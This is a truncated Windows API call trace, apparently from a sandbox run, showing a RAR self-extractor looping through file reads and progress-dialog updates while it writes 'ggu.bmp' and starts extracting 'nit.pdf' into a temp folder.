(hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.008] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.008] GetTickCount () returned 0x1f9f7 [0068.008] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.008] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.008] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.009] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.009] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.009] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.009] GetTickCount () returned 0x1f9f7 [0068.009] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.010] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.010] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.010] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.010] GetTickCount () returned 0x1f9f7 [0068.010] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.011] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.011] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.011] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.011] GetTickCount () returned 0x1f9f7 [0068.011] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.011] ReadFile (in: hFile=0x1c, lpBuffer=0x270441, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270441*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.011] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.011] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.011] GetTickCount () returned 0x1f9f7 [0068.011] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.011] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x21a, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x21a, lpOverlapped=0x0) returned 1 [0068.014] GetTickCount () returned 0x1f9f7 [0068.014] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.014] SetFilePointer (in: hFile=0x1c, lDistanceToMove=857945, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1759 [0068.014] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.014] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.014] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.014] CloseHandle (hObject=0x138) returned 1 [0068.014] SetFileAttributesA (lpFileName="ggu.bmp", dwFileAttributes=0x20) returned 1 [0068.015] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1759 [0068.015] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.015] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.015] OemToCharA (in: pSrc="nit.pdf", pDst=0x179cc0 | out: pDst="nit.pdf") returned 1 [0068.015] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="nit.pdf", cchCount2=1) returned 1 [0068.015] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="nit.pdf", cchCount2=6) returned 1 [0068.015] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="nit.pdf", cchCount2=-1) returned 1 [0068.015] SetFilePointer (in: hFile=0x1c, lDistanceToMove=857989, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd1785 [0068.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="nit.pdf") returned 8 [0068.015] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.015] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting nit.pdf") returned 18 [0068.015] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting nit.pdf") returned 1 [0068.015] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.015] OemToCharBuffA (in: lpszSrc="n", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="n") returned 1 [0068.015] CharToOemBuffA (in: lpszSrc="N", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="N") returned 1 [0068.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="nit.pdf") returned 8 [0068.015] FindFirstFileW (in: lpFileName="nit.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.016] GetLastError () returned 0x2 [0068.016] GetFileAttributesA (lpFileName="nit.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nit.pdf")) returned 0xffffffff [0068.016] CreateFileA (lpFileName="nit.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nit.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.016] GetFileType (hFile=0x138) returned 0x1 [0068.016] SetFilePointer (in: hFile=0x138, lDistanceToMove=601, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x259 [0068.016] SetEndOfFile (hFile=0x138) returned 1 [0068.016] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.016] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1e2, 